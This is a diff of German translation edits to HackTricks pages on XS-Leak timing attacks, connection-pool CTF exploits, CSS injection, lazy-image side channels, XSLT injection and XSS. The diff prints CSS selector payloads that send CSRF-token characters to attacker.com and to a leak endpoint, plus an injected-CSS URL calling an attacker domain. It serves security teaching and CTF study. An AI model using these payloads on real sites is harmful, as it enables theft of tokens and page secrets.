- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
|
||||
- **Summary:** Verwenden Sie [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow), um die Zeit zu messen, die für eine Anfrage benötigt wird. Andere Uhren könnten verwendet werden.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
|
||||
@ -828,7 +828,7 @@ Bei Eintreffen der Anfrage, die im vorherigen Schritt initiiert wurde, antwortet
|
||||
### Cross-Window Timing
|
||||
|
||||
- **Inclusion Methods**: Pop-ups
|
||||
- **Detectable Difference**: Timing (generell aufgrund von Seiteninhalt, Statuscode)
|
||||
- **Detectable Difference**: Timing (allgemein aufgrund von Seiteninhalt, Statuscode)
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
|
||||
- **Summary:** Verwenden Sie [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow), um die Zeit zu messen, die benötigt wird, um eine Anfrage mit `window.open` auszuführen. Andere Uhren könnten verwendet werden.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
|
||||
@ -854,7 +854,7 @@ Wenn Sie jedoch aus irgendeinem Grund **MÜSSEN**, es **Zeichen für Zeichen** z
|
||||
<img src=/something loading=lazy >
|
||||
```
|
||||
Daher können Sie **eine Menge Junk-Zeichen** hinzufügen (zum Beispiel **tausende von "W"s**), um **die Webseite vor dem Geheimnis zu füllen oder etwas wie** `<br><canvas height="1850px"></canvas><br>.` hinzuzufügen.\
|
||||
Wenn zum Beispiel unsere **Injektion vor dem Flag erscheint**, würde das **Bild** **geladen** werden, aber wenn es **nach** dem **Flag** erscheint, wird das Flag + der Junk **verhindern, dass es geladen wird** (Sie müssen experimentieren, wie viel Junk Sie platzieren). Das ist, was in [**diesem Bericht**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) passiert ist.
|
||||
Wenn zum Beispiel unsere **Injektion vor dem Flag erscheint**, würde das **Bild** **geladen** werden, aber wenn es **nach** dem **Flag** erscheint, wird das Flag + der Junk **verhindern, dass es geladen wird** (Sie müssen mit der Menge an Junk spielen, die Sie platzieren). Das ist, was in [**diesem Bericht**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) passiert ist.
|
||||
|
||||
Eine andere Möglichkeit wäre, das **scroll-to-text-fragment** zu verwenden, wenn es erlaubt ist:
|
||||
|
||||
@ -868,7 +868,7 @@ Die Webseite wird etwa so aussehen: **`https://victim.com/post.html#:~:text=SECR
|
||||
|
||||
Wo post.html die Angreifer-Junk-Zeichen und ein Lazy-Load-Bild enthält und dann das Geheimnis des Bots hinzugefügt wird.
|
||||
|
||||
Was dieser Text bewirken wird, ist, dass der Bot auf jeden Text auf der Seite zugreift, der den Text `SECR` enthält. Da dieser Text das Geheimnis ist und sich direkt **unter dem Bild** befindet, wird das **Bild nur geladen, wenn das erratene Geheimnis korrekt ist**. So haben Sie Ihr Oracle, um **das Geheimnis Zeichen für Zeichen zu exfiltrieren**.
|
||||
Was dieser Text bewirken wird, ist, dass der Bot auf jeden Text auf der Seite zugreift, der den Text `SECR` enthält. Da dieser Text das Geheimnis ist und sich direkt **unter dem Bild** befindet, wird das **Bild nur geladen, wenn das erratene Geheimnis korrekt ist**. So haben Sie Ihr Oracle, um das Geheimnis Zeichen für Zeichen zu **exfiltrieren**.
|
||||
|
||||
Ein Codebeispiel, um dies auszunutzen: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
|
||||
|
||||
|
||||
@ -1,8 +1,8 @@
|
||||
# Verbindungspool nach Zielbeispiel
|
||||
# Connection Pool by Destination Example
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
In [**diesem Exploit**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html), [**@terjanq**](https://twitter.com/terjanq) schlägt eine weitere Lösung für das in der folgenden Seite erwähnte Problem vor:
|
||||
In [**diesem Exploit**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html), [**@terjanq**](https://twitter.com/terjanq) schlägt eine weitere Lösung für die Herausforderung vor, die auf der folgenden Seite erwähnt wird:
|
||||
|
||||
{{#ref}}
|
||||
connection-pool-by-destination-example.md
|
||||
@ -13,7 +13,7 @@ Lass uns sehen, wie dieser Exploit funktioniert:
|
||||
- Der Angreifer wird eine Notiz mit so vielen **`<img`** Tags **laden** **`/js/purify.js`** wie möglich injizieren (mehr als 6, um den Ursprung zu blockieren).
|
||||
- Dann wird der Angreifer die **Notiz** mit dem Index 1 **entfernen**.
|
||||
- Dann wird der Angreifer \[den **Bot die Seite aufrufen lassen** mit der verbleibenden Notiz] und wird eine **Anfrage** an **`victim.com/js/purify.js`** senden, die er **zeitlich** erfassen wird. 
|
||||
- Wenn die Zeit **größer** ist, war die **Injektion** in der **übrig gebliebenen Notiz**, wenn die Zeit **geringer** ist, war die **Flag** dort.
|
||||
- Wenn die Zeit **größer** ist, war die **Injektion** in der **übrig gebliebenen Notiz**, wenn die Zeit **geringer** ist, war die **Flagge** dort.
|
||||
|
||||
> [!NOTE]
|
||||
> Um ehrlich zu sein, beim Lesen des Skripts habe ich einen Teil vermisst, wo der **Angreifer den Bot die Seite laden lässt, um die img-Tags auszulösen**, ich sehe nichts dergleichen im Code.
|
||||
|
||||
@ -13,7 +13,7 @@ In dieser Herausforderung ist das Ziel, ein Flag zu exfiltrieren, das in der Web
|
||||
- Der Angreifer kann eine CSRF ausnutzen, um den **Bot** den **ersten** **Post** auf der Website **löschen** zu lassen.
|
||||
- Da die **Posts** **alphabetisch** sortiert sind, bedeutet das Löschen des **ersten Posts**, dass, wenn der **HTML**-Inhalt des Angreifers **geladen** wird, dieser **alphabetisch vor dem Flag** war.
|
||||
|
||||
Um das Flag zu stehlen, schlägt @Strellic\_ vor, dass der Bot **für jedes zu testende Zeichen**:
|
||||
Um das Flag zu stehlen, schlägt @Strellyc\_ vor, dass der Bot **für jedes zu testende Zeichen**:
|
||||
|
||||
- Einen **neuen Post** erstellt, der mit dem bekannten Teil des **Flags** beginnt und mehrere **img** **lädt**.
|
||||
- Den **Post** an Position **0** **löscht**.
|
||||
@ -311,7 +311,7 @@ In diesem Fall war der erste Schritt des Exploits, eine CSRF auszunutzen, um die
|
||||
Im Exploit sieht man:
|
||||
|
||||
- CSRF ausnutzen
|
||||
- Alle Sockets bis auf 1 belegen
|
||||
- Alle Sockets außer 1 belegen
|
||||
- Die Antwort kalibrieren
|
||||
- Mit dem Brute-Forcing beginnen, indem man auf die potenzielle Seite mit der Flagge zugreift
|
||||
- Die potenzielle Seite wird aufgerufen und sofort wird auch eine von Angreifern kontrollierte URL aufgerufen, um zu überprüfen, wie viel Zeit beide Anfragen benötigen.
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
### Attributauswahl
|
||||
|
||||
CSS-Selektoren sind so gestaltet, dass sie die Werte der `name`- und `value`-Attribute eines `input`-Elements abgleichen. Wenn das Wertattribut des Eingabeelements mit einem bestimmten Zeichen beginnt, wird eine vordefinierte externe Ressource geladen:
|
||||
CSS-Selektoren sind so gestaltet, dass sie die Werte der `name`- und `value`-Attribute eines `input`-Elements abgleichen. Wenn das value-Attribut des Eingabeelements mit einem bestimmten Zeichen beginnt, wird eine vordefinierte externe Ressource geladen:
|
||||
```css
|
||||
input[name="csrf"][value^="a"] {
|
||||
background-image: url(https://attacker.com/exfil/a);
|
||||
@ -29,13 +29,13 @@ input[name="csrf"][value^="csrF"] ~ * {
|
||||
background-image: url(https://attacker.com/exfil/csrF);
|
||||
}
|
||||
```
|
||||
Ein praktisches Beispiel für die Ausnutzung dieser Technik wird im bereitgestellten Code-Snippet detailliert beschrieben. Sie können es [hier](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e) einsehen.
|
||||
Ein praktisches Beispiel für die Ausnutzung dieser Technik ist im bereitgestellten Code-Snippet detailliert. Sie können es [hier](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e) einsehen.
|
||||
|
||||
#### Voraussetzungen für CSS-Injection
|
||||
|
||||
Damit die CSS-Injection-Technik effektiv ist, müssen bestimmte Bedingungen erfüllt sein:
|
||||
|
||||
1. **Payload-Länge**: Der CSS-Injection-Vektor muss ausreichend lange Payloads unterstützen, um die erstellten Selektoren unterzubringen.
|
||||
1. **Payload-Länge**: Der CSS-Injection-Vektor muss ausreichend lange Payloads unterstützen, um die gestalteten Selektoren unterzubringen.
|
||||
2. **CSS-Neubewertung**: Sie sollten die Fähigkeit haben, die Seite einzurahmen, was notwendig ist, um die Neubewertung von CSS mit neu generierten Payloads auszulösen.
|
||||
3. **Externe Ressourcen**: Die Technik setzt die Möglichkeit voraus, extern gehostete Bilder zu verwenden. Dies könnte durch die Content Security Policy (CSP) der Seite eingeschränkt sein.
|
||||
|
||||
@ -70,9 +70,9 @@ Anstatt die gleiche Seite immer wieder mit Dutzenden von verschiedenen Payloads
|
||||
2. Der erste Teil des CSS-Skripts, den der Angreifer senden wird, ist **ein weiteres `@import` zum Server des Angreifers**.
|
||||
1. Der Server des Angreifers wird diese Anfrage noch nicht beantworten, da wir einige Zeichen leaken und dann diesen Import mit der Payload beantworten wollen, um die nächsten zu leaken.
|
||||
3. Der zweite und größere Teil der Payload wird ein **Attributselektor-Leakage-Payload** sein.
|
||||
1. Dies wird an den Server des Angreifers das **erste Zeichen des Geheimnisses und das letzte** senden.
|
||||
1. Dies wird dem Server des Angreifers **das erste Zeichen des Geheimnisses und das letzte** senden.
|
||||
4. Sobald der Server des Angreifers das **erste und letzte Zeichen des Geheimnisses** erhalten hat, wird er **den in Schritt 2 angeforderten Import beantworten**.
|
||||
1. Die Antwort wird genau die gleiche sein wie die **Schritte 2, 3 und 4**, aber diesmal wird sie versuchen, **das zweite Zeichen des Geheimnisses und dann das vorletzte** zu finden.
|
||||
1. Die Antwort wird genau die gleiche sein wie in den **Schritten 2, 3 und 4**, aber diesmal wird sie versuchen, **das zweite Zeichen des Geheimnisses und dann das vorletzte** zu finden.
|
||||
|
||||
Der Angreifer wird **diesen Loop fortsetzen, bis er das Geheimnis vollständig leaken kann**.
|
||||
|
||||
@ -82,12 +82,12 @@ Sie können den ursprünglichen [**Code von Pepe Vila, um dies auszunutzen, hier
|
||||
> Das Skript wird versuchen, jedes Mal 2 Zeichen zu entdecken (vom Anfang und vom Ende), da der Attributselektor es ermöglicht, Dinge wie:
|
||||
>
|
||||
> ```css
|
||||
> /* value^= um den Anfang des Wertes zu matchen */
|
||||
> /* value^= um den Anfang des Wertes zu vergleichen*/
|
||||
> input[value^="0"] {
|
||||
> --s0: url(http://localhost:5001/leak?pre=0);
|
||||
> }
|
||||
>
|
||||
> /* value$= um das Ende des Wertes zu matchen */
|
||||
> /* value$= um das Ende des Wertes zu vergleichen*/
|
||||
> input[value$="f"] {
|
||||
> --e0: url(http://localhost:5001/leak?post=f);
|
||||
> }
|
||||
@ -96,7 +96,7 @@ Sie können den ursprünglichen [**Code von Pepe Vila, um dies auszunutzen, hier
|
||||
> Dies ermöglicht es dem Skript, das Geheimnis schneller zu leaken.
|
||||
|
||||
> [!WARNING]
|
||||
> Manchmal **erkennt das Skript nicht korrekt, dass das entdeckte Präfix + Suffix bereits die vollständige Flagge ist** und es wird weiterhin vorwärts (im Präfix) und rückwärts (im Suffix) gehen und irgendwann wird es hängen bleiben.\
|
||||
> Manchmal **erkennt das Skript nicht korrekt, dass das entdeckte Präfix + Suffix bereits die vollständige Flagge ist** und es wird vorwärts (im Präfix) und rückwärts (im Suffix) fortfahren und irgendwann hängen bleiben.\
|
||||
> Keine Sorge, überprüfen Sie einfach die **Ausgabe**, denn **Sie können die Flagge dort sehen**.
|
||||
|
||||
### Andere Selektoren
|
||||
@ -152,7 +152,7 @@ font-family: "poc";
|
||||
|
||||
### Stilierung des Scroll-to-Text-Fragments
|
||||
|
||||
Die **`:target`** Pseudo-Klasse wird verwendet, um ein Element auszuwählen, das durch ein **URL-Fragment** angesprochen wird, wie in der [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo) angegeben. Es ist wichtig zu verstehen, dass `::target-text` keine Elemente übereinstimmt, es sei denn, der Text wird ausdrücklich durch das Fragment angesprochen.
|
||||
Die **`:target`** Pseudo-Klasse wird verwendet, um ein Element auszuwählen, das durch ein **URL-Fragment** angesprochen wird, wie in der [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo) angegeben. Es ist wichtig zu verstehen, dass `::target-text` keine Elemente auswählt, es sei denn, der Text wird ausdrücklich durch das Fragment angesprochen.
|
||||
|
||||
Ein Sicherheitsproblem entsteht, wenn Angreifer die Funktion **Scroll-to-text**-Fragment ausnutzen, um die Anwesenheit bestimmter Texte auf einer Webseite zu bestätigen, indem sie eine Ressource von ihrem Server durch HTML-Injection laden. Die Methode besteht darin, eine CSS-Regel wie diese einzufügen:
|
||||
```css
|
||||
@ -160,7 +160,7 @@ Ein Sicherheitsproblem entsteht, wenn Angreifer die Funktion **Scroll-to-text**-
|
||||
content: url(target.png);
|
||||
}
|
||||
```
|
||||
In solchen Szenarien, wenn der Text "Administrator" auf der Seite vorhanden ist, wird die Ressource `target.png` vom Server angefordert, was auf die Anwesenheit des Textes hinweist. Ein Beispiel für diesen Angriff kann durch eine speziell gestaltete URL ausgeführt werden, die das injizierte CSS zusammen mit einem Scroll-to-text-Fragment einbettet:
|
||||
In solchen Szenarien, wenn der Text "Administrator" auf der Seite vorhanden ist, wird die Ressource `target.png` vom Server angefordert, was auf die Anwesenheit des Textes hinweist. Eine Instanz dieses Angriffs kann durch eine speziell gestaltete URL ausgeführt werden, die das injizierte CSS zusammen mit einem Scroll-to-text-Fragment einbettet:
|
||||
```
|
||||
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
|
||||
```
|
||||
@ -169,7 +169,7 @@ Hier manipuliert der Angriff die HTML-Injektion, um den CSS-Code zu übertragen,
|
||||
Zur Minderung sollten die folgenden Punkte beachtet werden:
|
||||
|
||||
1. **Eingeschränkte STTF-Übereinstimmung**: Das Scroll-to-text-Fragment (STTF) ist so konzipiert, dass es nur Wörter oder Sätze übereinstimmt, wodurch seine Fähigkeit, beliebige Geheimnisse oder Tokens zu leaken, eingeschränkt wird.
|
||||
2. **Einschränkung auf Top-Level-Browsing-Kontexte**: STTF funktioniert ausschließlich in Top-Level-Browsing-Kontexten und nicht innerhalb von iframes, wodurch jeder Versuch der Ausnutzung für den Benutzer auffälliger wird.
|
||||
2. **Einschränkung auf Top-Level-Browsing-Kontexte**: STTF funktioniert ausschließlich in Top-Level-Browsing-Kontexten und nicht innerhalb von iframes, was jeden Versuchs der Ausnutzung für den Benutzer auffälliger macht.
|
||||
3. **Notwendigkeit der Benutzeraktivierung**: STTF erfordert eine Benutzeraktivierungs-Geste, um zu funktionieren, was bedeutet, dass Ausnutzungen nur durch benutzerinitiierte Navigationen möglich sind. Diese Anforderung verringert das Risiko, dass Angriffe automatisiert ohne Benutzerinteraktion durchgeführt werden. Dennoch weist der Autor des Blogbeitrags auf spezifische Bedingungen und Umgehungen hin (z. B. Social Engineering, Interaktion mit verbreiteten Browsererweiterungen), die die Automatisierung des Angriffs erleichtern könnten.
|
||||
|
||||
Das Bewusstsein für diese Mechanismen und potenziellen Schwachstellen ist entscheidend für die Aufrechterhaltung der Websicherheit und den Schutz vor solchen ausbeuterischen Taktiken.
|
||||
@ -223,7 +223,7 @@ Die beschriebene Technik beinhaltet das Extrahieren von Text aus einem Knoten, i
|
||||
2. **Erkennung von Breitenänderungen**:
|
||||
|
||||
- CSS wird verwendet, um sicherzustellen, dass der Text nicht umbricht (`white-space: nowrap`) und um den Stil der Bildlaufleiste anzupassen.
|
||||
- Das Auftreten einer horizontalen Bildlaufleiste, die deutlich anders gestaltet ist, fungiert als Indikator (Orakel), dass eine bestimmte Ligatur und damit eine bestimmte Zeichenfolge im Text vorhanden ist.
|
||||
- Das Erscheinen einer horizontalen Bildlaufleiste, die deutlich gestaltet ist, fungiert als Indikator (Orakel), dass eine bestimmte Ligatur und damit eine bestimmte Zeichenfolge im Text vorhanden ist.
|
||||
- Das verwendete CSS:
|
||||
```css
|
||||
body {
|
||||
@ -240,7 +240,7 @@ background: url(http://attacker.com/?leak);
|
||||
3. **Exploit-Prozess**:
|
||||
|
||||
- **Schritt 1**: Schriftarten werden für Zeichenpaare mit erheblicher Breite erstellt.
|
||||
- **Schritt 2**: Ein scrollbar-basiertetrick wird verwendet, um zu erkennen, wann das Glyph mit großer Breite (Ligatur für ein Zeichenpaar) gerendert wird, was auf die Anwesenheit der Zeichenfolge hinweist.
|
||||
- **Schritt 2**: Ein trick mit der Bildlaufleiste wird verwendet, um zu erkennen, wann das Glyph mit großer Breite (Ligatur für ein Zeichenpaar) gerendert wird, was auf die Anwesenheit der Zeichenfolge hinweist.
|
||||
- **Schritt 3**: Nach der Erkennung einer Ligatur werden neue Glyphen generiert, die dreiziffrige Sequenzen darstellen, wobei das erkannte Paar und ein vorangestelltes oder nachgestelltes Zeichen hinzugefügt werden.
|
||||
- **Schritt 4**: Die Erkennung der dreiziffrigen Ligatur wird durchgeführt.
|
||||
- **Schritt 5**: Der Prozess wiederholt sich und enthüllt schrittweise den gesamten Text.
|
||||
@ -273,13 +273,13 @@ B
|
||||
|
||||
**CADB**
|
||||
|
||||
Während dieses Übergangs wird der **unicode-range-Trick** verwendet, um jedes neue Zeichen zu identifizieren, während es dem Präfix beitritt. Dies wird erreicht, indem die Schriftart auf Comic Sans gewechselt wird, die deutlich höher ist als die Standard-Schriftart, was eine vertikale Bildlaufleiste auslöst. Das Auftreten dieser Bildlaufleiste offenbart indirekt die Anwesenheit eines neuen Zeichens im Präfix.
|
||||
Während dieses Übergangs wird der **unicode-range Trick** verwendet, um jedes neue Zeichen zu identifizieren, während es dem Präfix beitritt. Dies wird erreicht, indem die Schriftart auf Comic Sans umgeschaltet wird, die deutlich höher ist als die Standard-Schriftart, was eine vertikale Bildlaufleiste auslöst. Das Erscheinen dieser Bildlaufleiste offenbart indirekt die Anwesenheit eines neuen Zeichens im Präfix.
|
||||
|
||||
Obwohl diese Methode die Erkennung einzigartiger Zeichen ermöglicht, während sie erscheinen, gibt sie nicht an, welches Zeichen wiederholt wird, sondern nur, dass eine Wiederholung stattgefunden hat.
|
||||
Obwohl diese Methode die Erkennung einzigartiger Zeichen ermöglicht, die erscheinen, gibt sie nicht an, welches Zeichen wiederholt wird, sondern nur, dass eine Wiederholung stattgefunden hat.
|
||||
|
||||
> [!NOTE]
|
||||
> Grundsätzlich wird der **unicode-range verwendet, um ein Zeichen zu erkennen**, aber da wir keine externe Schriftart laden wollen, müssen wir einen anderen Weg finden.\
|
||||
> Wenn das **Zeichen** **gefunden** wird, erhält es die vorinstallierte **Comic Sans-Schriftart**, die das Zeichen **größer** macht und eine **Bildlaufleiste auslöst**, die das **gefunden Zeichen** **leakt**.
|
||||
> Wenn das **Zeichen** **gefunden** wird, erhält es die vorinstallierte **Comic Sans Schriftart**, die das Zeichen **größer** macht und eine **Bildlaufleiste auslöst**, die das **gefunden Zeichen leakt**.
|
||||
|
||||
Überprüfen Sie den aus dem PoC extrahierten Code:
|
||||
```css
|
||||
@ -710,7 +710,7 @@ background: blue var(--leak);
|
||||
|
||||
**Referenz:** Dies wird als [eine erfolglose Lösung in diesem Bericht erwähnt](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
Dieser Fall ist sehr ähnlich zum vorherigen, jedoch besteht in diesem Fall das Ziel darin, spezifische **Zeichen größer als andere zu machen, um etwas** wie einen Button zu verstecken, der nicht vom Bot gedrückt werden soll, oder ein Bild, das nicht geladen wird. So könnten wir die Aktion (oder das Fehlen der Aktion) messen und wissen, ob ein spezifisches Zeichen im Text vorhanden ist.
|
||||
Dieser Fall ist sehr ähnlich zum vorherigen, jedoch besteht in diesem Fall das Ziel darin, bestimmte **Zeichen größer als andere zu machen, um etwas** wie einen Button zu verstecken, der nicht vom Bot gedrückt werden soll, oder ein Bild, das nicht geladen wird. So könnten wir die Aktion (oder das Fehlen der Aktion) messen und wissen, ob ein bestimmtes Zeichen im Text vorhanden ist.
|
||||
|
||||
### Textnode-Exfiltration (III): Leaking des Zeichensatzes durch Cache-Timing (ohne externe Assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
In [**diesem Exploit**](https://gist.github.com/aszx87410/155f8110e667bae3d10a36862870ba45), [**@aszx87410**](https://twitter.com/aszx87410) kombiniert die **lazy image side channel** Technik durch eine HTML-Injection mit einer Art von **event loop blocking technique**, um Zeichen zu leaken.
|
||||
In [**diesem Exploit**](https://gist.github.com/aszx87410/155f8110e667bae3d10a36862870ba45), [**@aszx87410**](https://twitter.com/aszx87410) kombiniert die **lazy image side channel** Technik durch eine HTML-Injection mit einer Art **event loop blocking technique**, um Zeichen zu leaken.
|
||||
|
||||
Dies ist ein **anderer Exploit für die CTF-Challenge**, die bereits auf der folgenden Seite kommentiert wurde. Schau dir die Seite für weitere Informationen zur Herausforderung an:
|
||||
|
||||
@ -12,12 +12,12 @@ connection-pool-example.md
|
||||
|
||||
Die Idee hinter diesem Exploit ist:
|
||||
|
||||
- Die Beiträge werden alphabetisch geladen
|
||||
- Ein **Angreifer** kann einen **Beitrag** einfügen, der mit **"A"** beginnt, dann wird ein **HTML-Tag** (wie ein großes **`<canvas`**) den Großteil des **Bildschirms** ausfüllen und einige finale **`<img lazy`-Tags** laden Dinge.
|
||||
- Wenn anstelle eines "A" der **Angreifer denselben Beitrag, aber beginnend mit einem "z", injiziert.** Der **Beitrag** mit dem **Flag** wird **zuerst** erscheinen, dann wird der **injizierte** **Beitrag** mit dem Anfang "z" und dem **großen** **canvas** erscheinen. Da der Beitrag mit dem Flag zuerst erschien, wird das erste Canvas den gesamten Bildschirm einnehmen und die finalen **`<img lazy`**-Tags, die injiziert wurden, **werden nicht** auf dem Bildschirm **gesehen**, sodass sie **nicht geladen** werden.
|
||||
- Die Posts werden alphabetisch geladen
|
||||
- Ein **Angreifer** kann einen **Post** einfügen, der mit **"A"** beginnt, dann wird ein **HTML-Tag** (wie ein großes **`<canvas`**) den größten Teil des **Bildschirms** ausfüllen und einige finale **`<img lazy`-Tags** laden Dinge.
|
||||
- Wenn der **Angreifer anstelle eines "A" denselben Post, aber mit einem "z" beginnend, injiziert.** Der **Post** mit dem **Flag** wird **zuerst** erscheinen, dann wird der **injizierte** **Post** mit dem Anfang "z" und dem **großen** **canvas** erscheinen. Da der Post mit dem Flag zuerst erschien, wird das erste Canvas den gesamten Bildschirm einnehmen und die finalen **`<img lazy`** Tags, die injiziert wurden, **werden nicht** auf dem Bildschirm **gesehen**, sodass sie **nicht geladen** werden.
|
||||
- Dann, **während** der Bot die Seite **aufruft**, wird der **Angreifer** **Fetch-Anfragen senden**. 
|
||||
- Wenn die **Bilder**, die im Beitrag injiziert sind, **geladen** werden, werden diese **Fetch**-Anfragen **länger** dauern, sodass der Angreifer weiß, dass der **Beitrag vor dem Flag** (alphabetisch) ist.
|
||||
- Wenn die **Fetch**-Anfragen **schnell** sind, bedeutet das, dass der **Beitrag** **alphabetisch** **nach** dem Flag ist.
|
||||
- Wenn die **Bilder**, die im Post injiziert sind, **geladen** werden, werden diese **Fetch**-Anfragen **länger** dauern, sodass der Angreifer weiß, dass der **Post vor dem Flag** (alphabetisch) ist.
|
||||
- Wenn die **Fetch**-Anfragen **schnell** sind, bedeutet das, dass der **Post** **alphabetisch** **nach** dem Flag ist.
|
||||
|
||||
Lass uns den Code überprüfen:
|
||||
```html
|
||||
|
||||
@ -7,7 +7,7 @@
|
||||
In dieser Herausforderung konnte der Benutzer Tausende von Zeichen senden, und wenn das Flag enthalten war, wurden die Zeichen an den Bot zurückgesendet. Durch das Senden einer großen Anzahl von Zeichen konnte der Angreifer messen, ob das Flag im gesendeten String enthalten war oder nicht.
|
||||
|
||||
> [!WARNING]
|
||||
> Zunächst hatte ich die Breite und Höhe des Objekts nicht festgelegt, aber später stellte ich fest, dass es wichtig ist, da die Standardgröße zu klein ist, um einen Unterschied in der Ladezeit zu machen.
|
||||
> Zunächst habe ich die Breite und Höhe des Objekts nicht festgelegt, aber später stellte ich fest, dass es wichtig ist, da die Standardgröße zu klein ist, um einen Unterschied in der Ladezeit zu machen.
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
||||
@ -55,7 +55,7 @@ sudo apt-get install libsaxonb-java libsaxon-java
|
||||
</xsl:template>
|
||||
</xsl:stylesheet>
|
||||
```
|
||||
Ausführen:
|
||||
Führen Sie aus:
|
||||
```xml
|
||||
saxonb-xslt -xsl:xsl.xsl xml.xml
|
||||
|
||||
@ -367,9 +367,7 @@ version="1.0">
|
||||
</xsl:template>
|
||||
</xsl:stylesheet>
|
||||
```
|
||||
(Beispiel von [http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls))
|
||||
|
||||
## Weitere Payloads
|
||||
## Mehr Payloads
|
||||
|
||||
- Überprüfen Sie [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection)
|
||||
- Überprüfen Sie [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)
|
||||
|
||||
@ -20,7 +20,7 @@
|
||||
3. Innerhalb **JavaScript-Code**:
|
||||
1. Können Sie das `<script>`-Tag entkommen?
|
||||
2. Können Sie den String entkommen und anderen JS-Code ausführen?
|
||||
3. Ist Ihre Eingabe in Template-Literalen \`\`?
|
||||
3. Befinden sich Ihre Eingaben in Template-Literalen \`\`?
|
||||
4. Können Sie Schutzmaßnahmen umgehen?
|
||||
4. Javascript **Funktion**, die **ausgeführt** wird:
|
||||
1. Sie können den Namen der auszuführenden Funktion angeben. z.B.: `?callback=alert(1)`
|
||||
@ -37,27 +37,27 @@ debugging-client-side-js.md
|
||||
|
||||
Um eine XSS erfolgreich auszunutzen, müssen Sie zuerst einen **Wert finden, der von Ihnen kontrolliert wird und im Webpage reflektiert wird**.
|
||||
|
||||
- **Zwischendurch reflektiert**: Wenn Sie feststellen, dass der Wert eines Parameters oder sogar der Pfad im Webpage reflektiert wird, könnten Sie eine **Reflected XSS** ausnutzen.
|
||||
- **Zwischendurch reflektiert**: Wenn Sie feststellen, dass der Wert eines Parameters oder sogar der Pfad in der Webseite reflektiert wird, könnten Sie eine **Reflected XSS** ausnutzen.
|
||||
- **Gespeichert und reflektiert**: Wenn Sie feststellen, dass ein von Ihnen kontrollierter Wert auf dem Server gespeichert wird und jedes Mal reflektiert wird, wenn Sie auf eine Seite zugreifen, könnten Sie eine **Stored XSS** ausnutzen.
|
||||
- **Über JS zugegriffen**: Wenn Sie feststellen, dass ein von Ihnen kontrollierter Wert über JS zugegriffen wird, könnten Sie eine **DOM XSS** ausnutzen.
|
||||
|
||||
## Kontexte
|
||||
|
||||
Wenn Sie versuchen, eine XSS auszunutzen, müssen Sie zuerst wissen, **wo Ihre Eingabe reflektiert wird**. Je nach Kontext können Sie auf verschiedene Weise beliebigen JS-Code ausführen.
|
||||
Wenn Sie versuchen, eine XSS auszunutzen, müssen Sie zuerst wissen, **wo Ihre Eingabe reflektiert wird**. Je nach Kontext können Sie auf unterschiedliche Weise beliebigen JS-Code ausführen.
|
||||
|
||||
### Rohes HTML
|
||||
|
||||
Wenn Ihre Eingabe **im rohen HTML**-Seite reflektiert wird, müssen Sie einige **HTML-Tags** ausnutzen, um JS-Code auszuführen: `<img , <iframe , <svg , <script` ... dies sind nur einige der vielen möglichen HTML-Tags, die Sie verwenden könnten.\
|
||||
Wenn Ihre Eingabe **im rohen HTML** der Seite reflektiert wird, müssen Sie einige **HTML-Tags** ausnutzen, um JS-Code auszuführen: `<img , <iframe , <svg , <script` ... dies sind nur einige der vielen möglichen HTML-Tags, die Sie verwenden könnten.\
|
||||
Denken Sie auch an [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
|
||||
### Innerhalb von HTML-Tag-Attributen
|
||||
|
||||
Wenn Ihre Eingabe im Wert des Attributs eines Tags reflektiert wird, könnten Sie versuchen:
|
||||
|
||||
1. Von **dem Attribut und dem Tag zu entkommen** (dann sind Sie im rohen HTML) und ein neues HTML-Tag zu erstellen, um es auszunutzen: `"><img [...]`
|
||||
